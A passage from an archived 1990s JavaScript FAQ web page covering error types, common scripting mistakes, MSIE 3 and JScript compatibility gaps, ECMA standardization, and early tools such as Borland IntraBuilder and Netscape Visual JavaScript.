<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">here are three distinct areas where errors can occur in any computer program:</span></p>
<ul type="disc">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo9; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Load-time errors </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo9; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Run-time errors </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo9; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Logic errors </span></li>
</ul>
<p><strong><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Load-time errors</span></span></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"><br />
Your script is part of a web page. When someone browses (i.e., requests) that page, your server returns it over the network. On receiving it the requesting browser <strong><em>loads</em></strong> your page: HTML, JavaScript, and any other objects it contains. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Load-time errors are caught by the JavaScript interpreter. As the browser loads your script, it performs myriad checks for basic language problems -- usually syntax errors. If, for instance, you leave off the closing half of a pair of parentheses, the interpreter will tell you about it in the form of a load-time error. Why? Because a script can't run until it has loaded successfully.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">By checking your scripts in two browsers -- Netscape Navigator 3.0 (or later) and Microsoft Internet Explorer 3.0 (or later) -- you leverage the language-checking abilities of JavaScript itself to detect load-time errors.</span></p>
<p><strong><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Run-time errors</span></span></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"><br />
If your script loads, it will run. It may perform exactly as you designed it to, or it may crash and burn. Like load-time errors, problems at run-time are detected and reported by the <strong>JavaScript interpreter</strong>. In effect, it says (very quietly): "I loaded that nice-looking script and now it's breaking the rules, corrupting memory and whatnot. I'd better tell somebody." Up pops an alert window to apprise you of the run-time error.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">When a program is running it manipulates stored data, operating on values in memory as specified by program commands. Thus, whereas errors occur at load time chiefly due to bad syntax, run-time errors are often due to <strong>misuse of the language's commands</strong>.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">For instance, you'll get a run-time error if at some point your script divides by zero (illegal in any language). </span></p>
<p><strong><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Logic errors</span></span></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"><br />
These are the bad guys, problems worthy of the epithet "bugs." Errors loading or running your script are caught by the machine; errors in the logic of you program can only be caught by you or your users -- in other words, humans. When your script runs without complaining but ends up doing the wrong thing, you've got a logic error.</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">The best way to verify your program logically is to <strong>stress it</strong>. You probably won't be able to exercise all the possible inputs, outputs, if-then statements and loops, but by hitting a few major ones, you gain confidence that any errors are at least well hidden. If and when these occur, of course, they may be equally hard to trace. But that's software for you.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ5_3"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. What are the most common scripting mistakes?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">I</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">n his excellent <em>JavaScript Sourcebook</em>, in a section that begins, "We're only human, after all, and making mistakes is part of our nature," Gordon McComb identifies eleven common JavaScript gaffs:</span></p>
<ul type="disc">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Omitting quotation marks in Strings </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Mismatched quotation mark types (' and ") </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Omitting quotation marks when comparing strings </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Confusing '=' (assign) and '==' (compare) </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Improperly nested blocks in IF-THEN-ELSE statements </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Trying to write to the script document </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Trying to access forms as a property of a window rather than a document </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Using String methods with the wrong objects </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Endless loops lock up the browser </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Missing or mismatched '{' or '}' around blocks </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Omitting the return() statement in a function </span></li>
</ul>
<p style="text-align: right;" align="right"><a name="FAQ5_4"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>4. Why won't my script work ...</h3>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo11; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">... inside a table?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">here is a long-standing bug in JavaScript concerning tables. To be safe, Do <span style="text-decoration: underline;">not</span> place </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;SCRIPT&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tags inside </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;TD&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tags. Instead, start the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;SCRIPT&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag before the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;TD&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag, and </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">document.write()</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;TD&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag through the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;/TD&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag. If you're a belt-and-suspenders kind of guy, you can go a step further by using </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">document.write()</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> to create the entire table , interlacing script statements where needed.</span></p>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo11; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">... under MS Internet Explorer 3 for the Mac?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">J</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Script is available on the Macintosh starting with 3.0.1 (which is different from the Windows 3.01). I am still evaluating the Mac implementation, whose object model and other support for JavaScript does not necessarily jive with the Windows version (e.g., the Mac version supports the Image object for mouse rollovers). MSIE 3.0.1 runs on Mac 68K and PPC. Download it from: <a href="http://www.microsoft.com/msdownload/ieplatform/iemac.htm"><span style="color: #0000ff;">http://www.microsoft.com/msdownload/ieplatform/iemac.ht m</span></a></span></p>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo11; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">... under MSIE 3 for Windows 95?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">M</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">ost language features and objects that are new in Navigator 3.0 are not supported in MSIE 3.0, although several Navigator 3.0 items have been added to JScript version 2 (see below).</span></p>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo11; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">... when I use document.cookie with MSIE?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">I</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">t does work, but not when you access the HTML file from your local hard disk, as you are probably doing during testing. Be aware, however, that MSIE limits you to one cookie </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">name=value</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> pair per domain, whereas Netscape allows up to 20 pairs per domain.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ5_5"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>5. Jscript Issues</h3>
<h4><span class="dc1"><span style="font-family: Arial;">W</span></span><span style="font-family: Arial;">hat's new in Microsoft JScript version 2.x and 3.x?</span></h4>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">More than can fit here. Some items are compatible with Navigator 3.0+ (such as the Array object). Others are unique to MSIE, such as the Dictionary and TextStream objects (accessible via ActiveX). Additions are to the <strong>core language</strong>, not the document object model. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">New functions let you determine the JScript version installed in IE, but JScript version 2 must be installed to get this data. If you use version 2 or 3.x language features, see <a href="http://msdn.microsoft.com/scripting/default.htm" target="_blank"><span style="color: #0000ff;">www.microsoft.com/JScript</span></a> for info about including a link button on your page to encourage visitors to upgrade their IE 3.0x to JScript version 2.</span></p>
<h4><span class="dc1"><span style="font-family: Arial;">H</span></span><span style="font-family: Arial;">ow do I know if I have JScript version 2 installed?</span></h4>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Installation of MSIE 3.02 does not guarantee JScript version 2. Search your disk for 'jscript.dll'. Get the file's properties, and click on the Version tab. The File version should begin with '2'. If not, download the latest version from Microsoft (installer is 442KB).</span></p>
<h4><span class="dc1"><span style="font-family: Arial;">W</span></span><span style="font-family: Arial;">hat parts of the JavaScript object model are unsupported in MSIE?</span></h4>
<div>
<table style="width: 85%; mso-cellspacing: 1.5pt;" border="0" cellpadding="0" width="85%">
<tbody>
<tr>
<td style="padding: 0.75pt;"><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">UNSUPPORTED OBJECTS </span><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Image -- this means no onMouseOver swappable images in MSIE 3</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Area -- no onMouseOvers</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Applet</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">FileUpload</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">*Array -- hard-wired (JS1.0) arrays OK; implemented in JScript v.2.</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">MimeType</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Plugin</span></td>
</tr>
</tbody>
</table>
</div>
<p style="text-align: justify;"><strong><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;">What properties/methods/event handlers are unsupported in MSIE?</span></strong></p>
<div>
<table style="width: 75%; mso-cellspacing: 1.5pt;" border="0" cellpadding="0" width="75%">
<tbody>
<tr>
<td style="padding: 0.75pt;"><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">UNSUPPORTED PROPERTIES/METHODS/EVENT HANDLERS<br />
OF SUPPORTED OBJECTS </span><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">  </span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Window </span></p>
<pre><span style="mso-spacerun: yes;">      </span>onerror<span style="mso-spacerun: yes;">  </span>closed<span style="mso-spacerun: yes;">  </span>blur()<span style="mso-spacerun: yes;">  </span>focus()<span style="mso-spacerun: yes;">  </span>scroll()<span style="mso-spacerun: yes;">  </span>onBlur=<span style="mso-spacerun: yes;">   </span>onFocus=</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Location </span></p>
<pre><span style="mso-spacerun: yes;">      </span>reload()<span style="mso-spacerun: yes;">  </span>replace()</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Document </span></p>
<pre><span style="mso-spacerun: yes;">      </span>applets[]<span style="mso-spacerun: yes;">  </span>domain<span style="mso-spacerun: yes;">  </span>embeds[]<span style="mso-spacerun: yes;">  </span>images[]<span style="mso-spacerun: yes;">  </span>URL</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Link </span></p>
<pre><span style="mso-spacerun: yes;">      </span>onMouseOut=</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Form </span></p>
<pre><span style="mso-spacerun: yes;">      </span>reset()<span style="mso-spacerun: yes;">  </span>onReset=</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">All Form Elements </span></p>
<pre><span style="mso-spacerun: yes;">      </span>type</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Navigator </span></p>
<pre><span style="mso-spacerun: yes;">      </span>mimeTypes[]<span style="mso-spacerun: yes;">  </span>plugins[]<span style="mso-spacerun: yes;">  </span>javaEnabled()</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">String </span></p>
<pre><span style="mso-spacerun: yes;">      </span>prototype<span style="mso-spacerun: yes;">  </span>split()</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">One more item: the </span><code><span style="font-size: 10pt; font-family: 'Courier New';">&lt;SCRIPT SRC="xxx.js"&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;"> facility for loading external JavaScript library files is available in MSIE 3.02 for Windows.</span></td>
</tr>
</tbody>
</table>
</div>
<p class="MsoNormal"> </p>
<p style="text-align: right;" align="right"><a name="FAQ5_6"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>6. Portability</h3>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l10 level1 lfo12; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Anyone have a comparison of MS JScript versus Netscape's JavaScript?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Mark Stone wrote the book on it:<br />
<a href="http://www.kudonet.com/~markst/jscript/jsdiff.htm"><span style="color: #0000ff;">http://www.kudonet.com/~markst/jscript/jsdiff.htm</span></a> </span></p>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l10 level1 lfo12; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">I thought JavaScript was turned over to the IETF for some sort of standardization. What's happening with this?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Actually it was "turned over" to ECMA, the European Computing Machine Association. They appear to be go-slow, secretive types. It remains to be seen whether this is a <a href="http://www.intranetjournal.com/browsers/8.html"><span style="color: #0000ff;">serious standardization effort</span></a>, or a marketing ruse by Netscape to match Microsoft's dubious "turning over" of ActiveX to the X/Open Group. </span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Programming Tools</span></span></strong><span style="text-decoration: underline;"><span style="font-size: 16pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></span></p>
<h3><a name="FAQ6_1"></a>1. What is NetObjects ScriptBuilder<sup><span style="font-size: 10pt;">TM</span></sup>?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> scripting development aid from NetObjects, Inc. In addition to JavaScript, ScriptBuilder facilitates code writing in VBScript, LotusScript and Microsoft ASP. <a href="http://www.intranetjournal.com/reviews/scriptbuilder2.shtml"><span style="color: #0000ff;">Reviewed</span></a> by IDM in June 1998. </span></p>
<p style="text-align: right;" align="right"><a name="FAQ6_2"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2. What is Borland IntraBuilder<sup><span style="font-size: 10pt;">TM</span></sup>?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">I</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">ntraBuilder is a <strong>web application development tool</strong> from Inprise Corporation (formerly Borland International) that makes heavy use of JavaScript. Together with companion products C++Builder and JBuilder, IntraBuilder is part of the product line that implements Inprise's "Golden Gate" strategy for web-based client/server development. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Each product in this line targets three developer levels with <strong>Standard, Professional and Client/Server editions</strong>, corresponding respectively to low ($99), medium ($499)</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">and high</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">($1999) price points. The increments buy enhanced database connectivity and features for managing team development.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IntraBuilder consists of <strong>two primary components</strong>:</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IntraBuilder Designer</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">, a visual RAD environment for JavaScript that creates Forms -- used for entering, displaying and manipulating data; and Reports -- used for displaying data in a list format that can include groupings and aggregate functions, such as totals or averages. Significantly for readers of this FAQ, IntraBuilder provides wizards that coach the developer through web page specification, then <strong>automatically generates standard JavaScript</strong>, including form elements and data validation routines. </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IntraBuilder Server</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">, which extends basic web server functionality to deliver data-driven pages. IntraBuilder Server uses three primary architectural components (diagrammed below): IntraBuilder Broker, IntraBuilder Agents, and the Borland Database Engine (BDE). </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"> </p>
<p class="MsoNormal" style="margin-left: 0.5in; margin-right: 0.5in; text-align: center; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;" align="center"><span style="font-size: 7.5pt; font-family: Arial;"><a href="http://www.intranetjournal.com/pix/stories/ib_arch.gif"><span style="color: #0000ff;">Larger version</span></a></span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">The <strong>IntraBuilder Broker</strong> automatically provides the communications layer between the IntraBuilder Agents and the Web server, the first layer of state management, and intelligent routing.<br />
<strong>IntraBuilder Agents</strong> automatically parse forms and reports, dynamically generate HTML, participate in state management, and manage data access and formatting.<br />
The <strong>Borland Database Engine</strong> provides the database connectivity for IntraBuilder, connecting to a wide range of servers using native APIs and ODBC. </span>
</p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IntraBuilder belongs to a large, maturing class of web-to-database application development tools, several of which are listed in Intranet Journal's <a href="http://www.intranetjournal.com/tools/webdev.shtml"><span style="color: #0000ff;">Gateways to Data</span></a> section. IntraBuilder is specifically treated in this JavaScript FAQ because of the central role JavaScript plays in its design.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ6_3"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. What is Netscape Visual JavaScript?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">"A visual tool for rapid crossware development," according to its maker. Netscape defines <em>crossware</em> as "on-demand software that runs across networks, operating systems, and platforms and easily extends to partners and customers."</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IDM has experimented with Preview Release 3 of Visual JavaScript 1.0. Functionally impressive, the product strikes us primarily as a weapon in Netscape's anti-Microsoft agenda, for three reasons:</span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l9 level2 lfo13; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Visual JavaScript's emphasis on <em>crossware</em> and <em>platform-independence</em> directly oppose Microsoft's more vertical, Windows-based architecture </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l9 level2 lfo13; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Visual JavaScript's GUI does not conform to Microsoft Windows style guidelines, despite being launched on Windows. Instead, the product appears to emulate the Unix/Motif look and feel of Sun Microsoystems'</span><span style="font-size: 11pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Java Workshop </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l9 level2 lfo13; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">multi-platform rhetoric notwithstanding, Visual JavaScript is tailored to interoperate primarily with services from Netscape’s SuiteSpot line of servers. Using a built-in component, for instance, you could call upon Netscape</span><span style="font-size: 11pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Messaging Server to send mail, or Netscape Directory Server to do an LDAP directory query. Microsoft's products in general -- and ActiveX components in particular -- are conspicuously absent from this message. </span></li>
</ul>
</li>
</ol>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Lack of support for Microsoft technologies contrasts with Visual JavaScript's otherwise very impressive feature set, which lets developers: </span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Author HTML with a built-in WYSIWYG Page Builder </span></li>
